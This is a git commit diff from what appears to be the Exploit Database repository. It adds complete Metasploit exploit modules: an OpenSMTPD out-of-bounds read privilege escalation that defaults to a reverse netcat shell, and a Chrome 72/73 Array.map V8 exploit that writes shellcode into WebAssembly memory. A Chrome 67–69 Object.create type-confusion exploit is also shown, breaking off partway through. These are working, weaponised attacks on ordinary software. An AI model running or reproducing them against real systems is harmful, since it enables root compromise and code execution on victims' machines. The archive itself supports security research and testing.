DB: 2020-03-10
13 changes to exploits/shellcodes Microsoft Windows - 'WizardOpium' Local Privilege Escalation OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit) Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit) PHP-FPM - Underflow Remote Code Execution (Metasploit) Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit) Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit) Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit) ManageEngine ServiceDesk Plus 9.3 - User Enumeration 60CycleCMS - 'news.php' SQL Injection Sahi pro 8.x - Directory Traversal Sentrifugo HRMS 3.2 - 'id' SQL Injection
This commit is contained in:
parent
04881134cd
commit
4df22c7404
14 changed files with 1907 additions and 7 deletions
|
@ -20,6 +20,11 @@ Severity Level:
|
||||||
===============
|
===============
|
||||||
HIGH
|
HIGH
|
||||||
|
|
||||||
|
CVE: CVE-2019-20499
|
||||||
|
CVE: CVE-2019-20500
|
||||||
|
CVE: CVE-2019-20501
|
||||||
|
|
||||||
|
|
||||||
Base Score (CVSS):
|
Base Score (CVSS):
|
||||||
===============
|
===============
|
||||||
7.8
|
7.8
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
# Author: Author : Raki Ben Hamouda
|
# Author: Author : Raki Ben Hamouda
|
||||||
# Vendor: https://us.comtrend.com
|
# Vendor: https://us.comtrend.com
|
||||||
# Product link: https://us.comtrend.com/products/vr-3030/
|
# Product link: https://us.comtrend.com/products/vr-3030/
|
||||||
# CVE: N/A
|
# CVE: CVE-2020-10173
|
||||||
|
|
||||||
The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection
|
The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection
|
||||||
vulnerability via ping and traceroute diagnostic page.
|
vulnerability via ping and traceroute diagnostic page.
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# Exploit Title: ManageEngine ServiceDesk Plus - 9.3 User enumeration vulnerability
|
# Exploit Title: ManageEngine ServiceDesk Plus - 9.3 User enumeration vulnerability
|
||||||
# Date: /03/29/2019
|
# Date: 2019-03-29
|
||||||
# Exploit Author: Alexander Bluestein
|
# Exploit Author: Operat0r
|
||||||
# Vendor Homepage: https://www.manageengine.com/
|
# Vendor Homepage: https://www.manageengine.com/
|
||||||
# Software Link: https://www.manageengine.com/products/service-desk/download.html
|
# Software Link: https://www.manageengine.com/products/service-desk/download.html
|
||||||
# Version: 9.3
|
# Version: 9.3
|
||||||
|
|
180
exploits/linux/local/48185.rb
Executable file
180
exploits/linux/local/48185.rb
Executable file
|
@ -0,0 +1,180 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
|
||||||
|
# smtpd(8) may crash on a malformed message
|
||||||
|
Rank = AverageRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::TcpServer
|
||||||
|
include Msf::Exploit::Remote::AutoCheck
|
||||||
|
include Msf::Exploit::Expect
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an out-of-bounds read of an attacker-controlled
|
||||||
|
string in OpenSMTPD's MTA implementation to execute a command as the
|
||||||
|
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Qualys', # Discovery and PoC
|
||||||
|
'wvu' # Module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2020-8794'],
|
||||||
|
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => '2020-02-24',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Privileged' => true, # NOTE: Only when exploiting new grammar
|
||||||
|
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
|
||||||
|
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
|
||||||
|
'Targets' => [
|
||||||
|
['OpenSMTPD < 6.6.4 (automatic grammar selection)',
|
||||||
|
patched_version: Gem::Version.new('6.6.4'),
|
||||||
|
new_grammar_version: Gem::Version.new('6.4.0')
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'SRVPORT' => 25,
|
||||||
|
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
||||||
|
'WfsDelay' => 60 # May take a little while for mail to process
|
||||||
|
},
|
||||||
|
'Notes' => {
|
||||||
|
'Stability' => [CRASH_SERVICE_DOWN],
|
||||||
|
'Reliability' => [REPEATABLE_SESSION],
|
||||||
|
'SideEffects' => [IOC_IN_LOGS]
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
|
||||||
|
])
|
||||||
|
|
||||||
|
# HACK: We need to run check in order to determine a grammar to use
|
||||||
|
options.remove_option('AutoCheck')
|
||||||
|
end
|
||||||
|
|
||||||
|
def srvhost_addr
|
||||||
|
Rex::Socket.source_address(session.session_host)
|
||||||
|
end
|
||||||
|
|
||||||
|
def rcpt_to
|
||||||
|
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
smtpd_help = cmd_exec('smtpd -h')
|
||||||
|
|
||||||
|
if smtpd_help.empty?
|
||||||
|
return CheckCode::Unknown('smtpd(8) help could not be displayed')
|
||||||
|
end
|
||||||
|
|
||||||
|
version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first
|
||||||
|
|
||||||
|
unless version
|
||||||
|
return CheckCode::Unknown('OpenSMTPD version could not be found')
|
||||||
|
end
|
||||||
|
|
||||||
|
version = Gem::Version.new(version)
|
||||||
|
|
||||||
|
if version < target[:patched_version]
|
||||||
|
if version >= target[:new_grammar_version]
|
||||||
|
vprint_status("OpenSMTPD #{version} is using new grammar")
|
||||||
|
@grammar = :new
|
||||||
|
else
|
||||||
|
vprint_status("OpenSMTPD #{version} is using old grammar")
|
||||||
|
@grammar = :old
|
||||||
|
end
|
||||||
|
|
||||||
|
return CheckCode::Appears(
|
||||||
|
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# NOTE: Automatic check is implemented by the AutoCheck mixin
|
||||||
|
super
|
||||||
|
|
||||||
|
start_service
|
||||||
|
|
||||||
|
sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"
|
||||||
|
|
||||||
|
print_status("Executing local sendmail(8) command: #{sendmail}")
|
||||||
|
if cmd_exec(sendmail) != 'true'
|
||||||
|
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_client_connect(client)
|
||||||
|
print_status("Client #{client.peerhost}:#{client.peerport} connected")
|
||||||
|
|
||||||
|
# Brilliant work, Qualys!
|
||||||
|
case @grammar
|
||||||
|
when :new
|
||||||
|
print_status('Exploiting new OpenSMTPD grammar for a root shell')
|
||||||
|
|
||||||
|
yeet = <<~EOF
|
||||||
|
553-
|
||||||
|
553
|
||||||
|
|
||||||
|
dispatcher: local_mail
|
||||||
|
type: mda
|
||||||
|
mda-user: root
|
||||||
|
mda-exec: #{payload.encoded}; exit 0\x00
|
||||||
|
EOF
|
||||||
|
when :old
|
||||||
|
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')
|
||||||
|
|
||||||
|
yeet = <<~EOF
|
||||||
|
553-
|
||||||
|
553
|
||||||
|
|
||||||
|
type: mda
|
||||||
|
mda-method: mda
|
||||||
|
mda-usertable: <getpwnam>
|
||||||
|
mda-user: nobody
|
||||||
|
mda-buffer: #{payload.encoded}; exit 0\x00
|
||||||
|
EOF
|
||||||
|
else
|
||||||
|
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
|
||||||
|
end
|
||||||
|
|
||||||
|
sploit = {
|
||||||
|
'220' => /EHLO /,
|
||||||
|
'250' => /MAIL FROM:<[^>]/,
|
||||||
|
yeet => nil
|
||||||
|
}
|
||||||
|
|
||||||
|
print_status('Faking SMTP server and sending exploit')
|
||||||
|
sploit.each do |line, pattern|
|
||||||
|
send_expect(
|
||||||
|
line,
|
||||||
|
pattern,
|
||||||
|
sock: client,
|
||||||
|
newline: "\r\n",
|
||||||
|
timeout: datastore['ExpectTimeout']
|
||||||
|
)
|
||||||
|
end
|
||||||
|
rescue Timeout::Error => e
|
||||||
|
fail_with(Failure::TimeoutExpired, e.message)
|
||||||
|
ensure
|
||||||
|
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
|
||||||
|
client.close
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_client_close(client)
|
||||||
|
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
287
exploits/multiple/remote/48183.rb
Executable file
287
exploits/multiple/remote/48183.rb
Executable file
|
@ -0,0 +1,287 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Google Chrome 72 and 73 Array.map exploit',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
|
||||||
|
The exploit corrupts the length of a float in order to modify the backing store
|
||||||
|
of a typed array. The typed array can then be used to read and write arbitrary
|
||||||
|
memory. The exploit then uses WebAssembly in order to allocate a region of RWX
|
||||||
|
memory, which is then replaced with the payload.
|
||||||
|
The payload is executed within the sandboxed renderer process, so the browser
|
||||||
|
must be run with the --no-sandbox option for the payload to work correctly.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'dmxcsnsbh', # discovery
|
||||||
|
'István Kurucsai', # exploit
|
||||||
|
'timwr', # metasploit module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2019-5825'],
|
||||||
|
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
|
||||||
|
['URL', 'https://github.com/exodusintel/Chromium-941743'],
|
||||||
|
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
|
||||||
|
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_X64 ],
|
||||||
|
'Platform' => ['windows','osx'],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Targets' => [ [ 'Automatic', { } ] ],
|
||||||
|
'DisclosureDate' => 'Mar 7 2019'))
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
|
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||||
|
print_status("[*] #{request.body}")
|
||||||
|
send_response(cli, '')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||||
|
escaped_payload = Rex::Text.to_unescape(payload.encoded)
|
||||||
|
jscript = %Q^
|
||||||
|
// HELPER FUNCTIONS
|
||||||
|
let conversion_buffer = new ArrayBuffer(8);
|
||||||
|
let float_view = new Float64Array(conversion_buffer);
|
||||||
|
let int_view = new BigUint64Array(conversion_buffer);
|
||||||
|
BigInt.prototype.hex = function() {
|
||||||
|
return '0x' + this.toString(16);
|
||||||
|
};
|
||||||
|
BigInt.prototype.i2f = function() {
|
||||||
|
int_view[0] = this;
|
||||||
|
return float_view[0];
|
||||||
|
}
|
||||||
|
BigInt.prototype.smi2f = function() {
|
||||||
|
int_view[0] = this << 32n;
|
||||||
|
return float_view[0];
|
||||||
|
}
|
||||||
|
Number.prototype.f2i = function() {
|
||||||
|
float_view[0] = this;
|
||||||
|
return int_view[0];
|
||||||
|
}
|
||||||
|
Number.prototype.f2smi = function() {
|
||||||
|
float_view[0] = this;
|
||||||
|
return int_view[0] >> 32n;
|
||||||
|
}
|
||||||
|
Number.prototype.i2f = function() {
|
||||||
|
return BigInt(this).i2f();
|
||||||
|
}
|
||||||
|
Number.prototype.smi2f = function() {
|
||||||
|
return BigInt(this).smi2f();
|
||||||
|
}
|
||||||
|
|
||||||
|
// *******************
|
||||||
|
// Exploit starts here
|
||||||
|
// *******************
|
||||||
|
// This call ensures that TurboFan won't inline array constructors.
|
||||||
|
Array(2**30);
|
||||||
|
|
||||||
|
// we are aiming for the following object layout
|
||||||
|
// [output of Array.map][packed float array][typed array][Object]
|
||||||
|
// First the length of the packed float array is corrupted via the original vulnerability,
|
||||||
|
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
|
||||||
|
// The Object at the end is used to implement addrof
|
||||||
|
|
||||||
|
// offset of the length field of the float array from the map output
|
||||||
|
const float_array_len_offset = 23;
|
||||||
|
// offset of the length field of the typed array
|
||||||
|
const tarray_elements_len_offset = 24;
|
||||||
|
// offset of the address pointer of the typed array
|
||||||
|
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
|
||||||
|
const obj_prop_b_offset = 33;
|
||||||
|
|
||||||
|
// Set up a fast holey smi array, and generate optimized code.
|
||||||
|
let a = [1, 2, ,,, 3];
|
||||||
|
let cnt = 0;
|
||||||
|
var tarray;
|
||||||
|
var float_array;
|
||||||
|
var obj;
|
||||||
|
|
||||||
|
function mapping(a) {
|
||||||
|
function cb(elem, idx) {
|
||||||
|
if (idx == 0) {
|
||||||
|
float_array = [0.1, 0.2];
|
||||||
|
|
||||||
|
tarray = new BigUint64Array(2);
|
||||||
|
tarray[0] = 0x41414141n;
|
||||||
|
tarray[1] = 0x42424242n;
|
||||||
|
obj = {'a': 0x31323334, 'b': 1};
|
||||||
|
obj['b'] = obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (idx > float_array_len_offset) {
|
||||||
|
// minimize the corruption for stability
|
||||||
|
throw "stop";
|
||||||
|
}
|
||||||
|
return idx;
|
||||||
|
}
|
||||||
|
return a.map(cb);
|
||||||
|
}
|
||||||
|
|
||||||
|
function get_rw() {
|
||||||
|
for (let i = 0; i < 10 ** 5; i++) {
|
||||||
|
mapping(a);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now lengthen the array, but ensure that it points to a non-dictionary
|
||||||
|
// backing store.
|
||||||
|
a.length = (32 * 1024 * 1024)-1;
|
||||||
|
a.fill(1, float_array_len_offset, float_array_len_offset+1);
|
||||||
|
a.fill(1, float_array_len_offset+2);
|
||||||
|
|
||||||
|
a.push(2);
|
||||||
|
a.length += 500;
|
||||||
|
|
||||||
|
// Now, the non-inlined array constructor should produce an array with
|
||||||
|
// dictionary elements: causing a crash.
|
||||||
|
cnt = 1;
|
||||||
|
try {
|
||||||
|
mapping(a);
|
||||||
|
} catch(e) {
|
||||||
|
// relative RW from the float array from this point on
|
||||||
|
let sane = sanity_check()
|
||||||
|
print('sanity_check == ', sane);
|
||||||
|
print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
|
||||||
|
print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
|
||||||
|
print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));
|
||||||
|
|
||||||
|
let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
|
||||||
|
print('original elements addr: ' + original_elements_ptr.toString(16));
|
||||||
|
print('original elements value: ' + read8(original_elements_ptr).toString(16));
|
||||||
|
print('addrof(Object): ' + addrof(Object).toString(16));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function sanity_check() {
|
||||||
|
success = true;
|
||||||
|
success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
|
||||||
|
success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
|
||||||
|
success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
|
||||||
|
function read8(addr) {
|
||||||
|
let original = float_array[tarray_elements_len_offset+1];
|
||||||
|
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
|
||||||
|
let result = tarray[0];
|
||||||
|
float_array[tarray_elements_len_offset+1] = original;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
function write8(addr, val) {
|
||||||
|
let original = float_array[tarray_elements_len_offset+1];
|
||||||
|
float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
|
||||||
|
tarray[0] = val;
|
||||||
|
float_array[tarray_elements_len_offset+1] = original;
|
||||||
|
}
|
||||||
|
|
||||||
|
function addrof(o) {
|
||||||
|
obj['b'] = o;
|
||||||
|
return float_array[obj_prop_b_offset].f2i();
|
||||||
|
}
|
||||||
|
|
||||||
|
var wfunc = null;
|
||||||
|
var shellcode = unescape("#{escaped_payload}");
|
||||||
|
|
||||||
|
function get_wasm_func() {
|
||||||
|
var importObject = {
|
||||||
|
imports: { imported_func: arg => print(arg) }
|
||||||
|
};
|
||||||
|
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
|
||||||
|
wasm_code = new Uint8Array(bc);
|
||||||
|
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
|
||||||
|
return wasm_mod.exports.exported_func;
|
||||||
|
}
|
||||||
|
|
||||||
|
function rce() {
|
||||||
|
let wasm_func = get_wasm_func();
|
||||||
|
wfunc = wasm_func;
|
||||||
|
// traverse the JSFunction object chain to find the RWX WebAssembly code page
|
||||||
|
let wasm_func_addr = addrof(wasm_func) - 1n;
|
||||||
|
print('wasm: ' + wasm_func_addr);
|
||||||
|
if (wasm_func_addr == 2) {
|
||||||
|
print('Failed, retrying...');
|
||||||
|
location.reload();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
|
||||||
|
print('sfi: ' + sfi.toString(16));
|
||||||
|
let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
|
||||||
|
print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));
|
||||||
|
|
||||||
|
let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
|
||||||
|
print('instance: ' + instance.toString(16));
|
||||||
|
|
||||||
|
//let rwx_addr = read8(instance + 0x108n);
|
||||||
|
let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
|
||||||
|
//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
|
||||||
|
//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
|
||||||
|
print('rwx: ' + rwx_addr.toString(16));
|
||||||
|
|
||||||
|
// write the shellcode to the RWX page
|
||||||
|
if (shellcode.length % 2 != 0) {
|
||||||
|
shellcode += "\u9090";
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0; i < shellcode.length; i += 2) {
|
||||||
|
write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
|
||||||
|
}
|
||||||
|
|
||||||
|
// invoke the shellcode
|
||||||
|
wfunc();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function exploit() {
|
||||||
|
print("Exploiting...");
|
||||||
|
get_rw();
|
||||||
|
rce();
|
||||||
|
}
|
||||||
|
|
||||||
|
exploit();
|
||||||
|
^
|
||||||
|
|
||||||
|
if datastore['DEBUG_EXPLOIT']
|
||||||
|
debugjs = %Q^
|
||||||
|
print = function(arg) {
|
||||||
|
var request = new XMLHttpRequest();
|
||||||
|
request.open("POST", "/print", false);
|
||||||
|
request.send("" + arg);
|
||||||
|
};
|
||||||
|
^
|
||||||
|
jscript = "#{debugjs}#{jscript}"
|
||||||
|
else
|
||||||
|
jscript.gsub!(/\/\/.*$/, '') # strip comments
|
||||||
|
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||||
|
end
|
||||||
|
|
||||||
|
html = %Q^
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
#{jscript}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
^
|
||||||
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
301
exploits/multiple/remote/48184.rb
Executable file
301
exploits/multiple/remote/48184.rb
Executable file
|
@ -0,0 +1,301 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
|
||||||
|
'Description' => %q{
|
||||||
|
This modules exploits a type confusion in Google Chromes JIT compiler.
|
||||||
|
The Object.create operation can be used to cause a type confusion between a
|
||||||
|
PropertyArray and a NameDictionary.
|
||||||
|
The payload is executed within the rwx region of the sandboxed renderer
|
||||||
|
process, so the browser must be run with the --no-sandbox option for the
|
||||||
|
payload to work.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'saelo', # discovery and exploit
|
||||||
|
'timwr', # metasploit module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2018-17463'],
|
||||||
|
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
|
||||||
|
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
|
||||||
|
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
|
||||||
|
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_X64 ],
|
||||||
|
'Platform' => ['windows', 'osx'],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Targets' => [ [ 'Automatic', { } ] ],
|
||||||
|
'DisclosureDate' => 'Sep 25 2018'))
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
|
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||||
|
print_status("[*] " + request.body)
|
||||||
|
send_response(cli, '')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||||
|
|
||||||
|
jscript = %Q^
|
||||||
|
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);
|
||||||
|
|
||||||
|
let ab = new ArrayBuffer(8);
|
||||||
|
let floatView = new Float64Array(ab);
|
||||||
|
let uint64View = new BigUint64Array(ab);
|
||||||
|
let uint8View = new Uint8Array(ab);
|
||||||
|
|
||||||
|
Number.prototype.toBigInt = function toBigInt() {
|
||||||
|
floatView[0] = this;
|
||||||
|
return uint64View[0];
|
||||||
|
};
|
||||||
|
|
||||||
|
BigInt.prototype.toNumber = function toNumber() {
|
||||||
|
uint64View[0] = this;
|
||||||
|
return floatView[0];
|
||||||
|
};
|
||||||
|
|
||||||
|
function hex(n) {
|
||||||
|
return '0x' + n.toString(16);
|
||||||
|
};
|
||||||
|
|
||||||
|
function fail(s) {
|
||||||
|
print('FAIL ' + s);
|
||||||
|
throw null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const NUM_PROPERTIES = 32;
|
||||||
|
const MAX_ITERATIONS = 100000;
|
||||||
|
|
||||||
|
function gc() {
|
||||||
|
for (let i = 0; i < 200; i++) {
|
||||||
|
new ArrayBuffer(0x100000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function make(properties) {
|
||||||
|
let o = {inline: 42} // TODO
|
||||||
|
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
||||||
|
eval(`o.p${i} = properties[${i}];`);
|
||||||
|
}
|
||||||
|
return o;
|
||||||
|
}
|
||||||
|
|
||||||
|
function pwn() {
|
||||||
|
function find_overlapping_properties() {
|
||||||
|
let propertyNames = [];
|
||||||
|
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
||||||
|
propertyNames[i] = `p${i}`;
|
||||||
|
}
|
||||||
|
eval(`
|
||||||
|
function vuln(o) {
|
||||||
|
let a = o.inline;
|
||||||
|
this.Object.create(o);
|
||||||
|
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
|
||||||
|
return [${propertyNames.join(', ')}];
|
||||||
|
}
|
||||||
|
`);
|
||||||
|
|
||||||
|
let propertyValues = [];
|
||||||
|
for (let i = 1; i < NUM_PROPERTIES; i++) {
|
||||||
|
propertyValues[i] = -i;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
||||||
|
let r = vuln(make(propertyValues));
|
||||||
|
if (r[1] !== -1) {
|
||||||
|
for (let i = 1; i < r.length; i++) {
|
||||||
|
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
|
||||||
|
return [i, -r[i]];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fail("Failed to find overlapping properties");
|
||||||
|
}
|
||||||
|
|
||||||
|
function addrof(obj) {
|
||||||
|
eval(`
|
||||||
|
function vuln(o) {
|
||||||
|
let a = o.inline;
|
||||||
|
this.Object.create(o);
|
||||||
|
return o.p${p1}.x1;
|
||||||
|
}
|
||||||
|
`);
|
||||||
|
|
||||||
|
let propertyValues = [];
|
||||||
|
propertyValues[p1] = {x1: 13.37, x2: 13.38};
|
||||||
|
propertyValues[p2] = {y1: obj};
|
||||||
|
|
||||||
|
let i = 0;
|
||||||
|
for (; i < MAX_ITERATIONS; i++) {
|
||||||
|
let res = vuln(make(propertyValues));
|
||||||
|
if (res !== 13.37)
|
||||||
|
return res.toBigInt()
|
||||||
|
}
|
||||||
|
|
||||||
|
fail("Addrof failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
function corrupt_arraybuffer(victim, newValue) {
|
||||||
|
eval(`
|
||||||
|
function vuln(o) {
|
||||||
|
let a = o.inline;
|
||||||
|
this.Object.create(o);
|
||||||
|
let orig = o.p${p1}.x2;
|
||||||
|
o.p${p1}.x2 = ${newValue.toNumber()};
|
||||||
|
return orig;
|
||||||
|
}
|
||||||
|
`);
|
||||||
|
|
||||||
|
let propertyValues = [];
|
||||||
|
let o = {x1: 13.37, x2: 13.38};
|
||||||
|
propertyValues[p1] = o;
|
||||||
|
propertyValues[p2] = victim;
|
||||||
|
|
||||||
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
||||||
|
o.x2 = 13.38;
|
||||||
|
let r = vuln(make(propertyValues));
|
||||||
|
if (r !== 13.38)
|
||||||
|
return r.toBigInt();
|
||||||
|
}
|
||||||
|
|
||||||
|
fail("Corrupt ArrayBuffer failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
let [p1, p2] = find_overlapping_properties();
|
||||||
|
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);
|
||||||
|
|
||||||
|
let memview_buf = new ArrayBuffer(1024);
|
||||||
|
let driver_buf = new ArrayBuffer(1024);
|
||||||
|
|
||||||
|
gc();
